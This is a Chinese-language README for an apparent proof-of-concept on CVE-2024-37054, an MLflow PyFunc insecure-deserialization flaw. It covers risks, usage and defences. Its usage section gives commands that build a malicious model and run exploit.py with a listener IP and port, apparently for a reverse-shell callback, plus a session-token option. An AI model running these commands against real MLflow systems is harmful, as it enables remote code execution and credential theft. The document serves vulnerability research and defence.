MLflow 不安全反序列化

CVE-2024-37054

概述

本仓库记录了针对 CVE-2024-37054 的研究，这是一个影响 MLflow PyFunc 模型处理的不安全反序列化问题。

在受影响的 MLflow 版本中，加载不受信任的 PyFunc 模型可能导致 Python 反序列化逻辑处理包含攻击者控制行为的序列化对象。如果加载了不受信任的工件，代码可能会以执行模型加载操作的用户或服务的权限运行。

公开公告中报告的受影响版本包括：

MLflow 0.9.0 至 2.14.1

风险

主要风险不仅仅是“上传模型”。危险发生在应用程序、分析师、工作进程或 ML 平台加载不受信任的序列化模型工件时。

潜在影响包括：

• 在 MLflow 客户端、工作进程或服务上下文中执行远程代码
• 泄露环境变量、凭据、令牌和本地文件
• 未经授权访问已连接的模型存储、数据库和内部服务
• 修改模型、实验或注册表元数据
• 从 ML 基础设施横向移动到其他已连接环境

仓库内容

build_model.py

创建一个受控的测试模型工件，用于私有、授权的实验环境。

exploit.py

私有概念验证自动化脚本，仅用于在授权培训环境中验证漏洞路径。本仓库不包含真实目标、凭据、会话令牌、VPN 配置文件或破坏性载荷。

使用方法

仅在授权的实验环境中运行此概念验证。

1. 构建测试模型

创建受控模型工件：

python3 build_model.py --lhost <YOUR_IP> --lport 4444

2. 使用自动账户注册运行

如果您还没有经过身份验证的会话，请使用自动注册模式：

python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz

此模式会创建一个临时实验账户，对应用程序进行身份验证，然后继续执行模型注册和验证工作流。

3. 使用现有会话运行

如果您已有有效的授权会话，请直接传入：

python3 exploit.py \
  --lhost <YOUR_IP> \
  --lport 4444 \
  --session "<SESSION_TOKEN>"

替换：

• <YOUR_IP> 为从授权实验目标可访问的 IP 地址。
• 4444 为您实验中使用的监听端口。
• <SESSION_TOKEN> 为您当前有效的授权会话值。

切勿发布真实的会话令牌、凭据、VPN 文件、目标地址或回调详情。

防御指南

使用 MLflow 的组织应将模型工件视为不受信任的输入，除非其来源和完整性已经过验证。

建议的安全防护措施：

• 不要加载不受信任的序列化 PyFunc 或基于 pickle 的模型工件。
• 使用最小权限限制模型上传、注册、版本控制和加载权限。
• 将 MLflow 工作负载隔离在非 root 容器或受限的工作进程环境中。
• 限制模型加载和训练基础设施的出站网络访问。
• 避免将机密信息放在模型处理作业可访问的环境变量中。
• 记录模型上传、注册表操作、工件访问和异常子进程活动。
• 监控 MLflow 安全公告，并使用受支持、维护的软件版本。

免责声明

本项目仅用于防御性研究、教育和授权安全测试。概念验证工作流仅在受控培训环境中进行了评估。未经明确书面授权，请勿针对系统、账户、服务或网络测试此漏洞。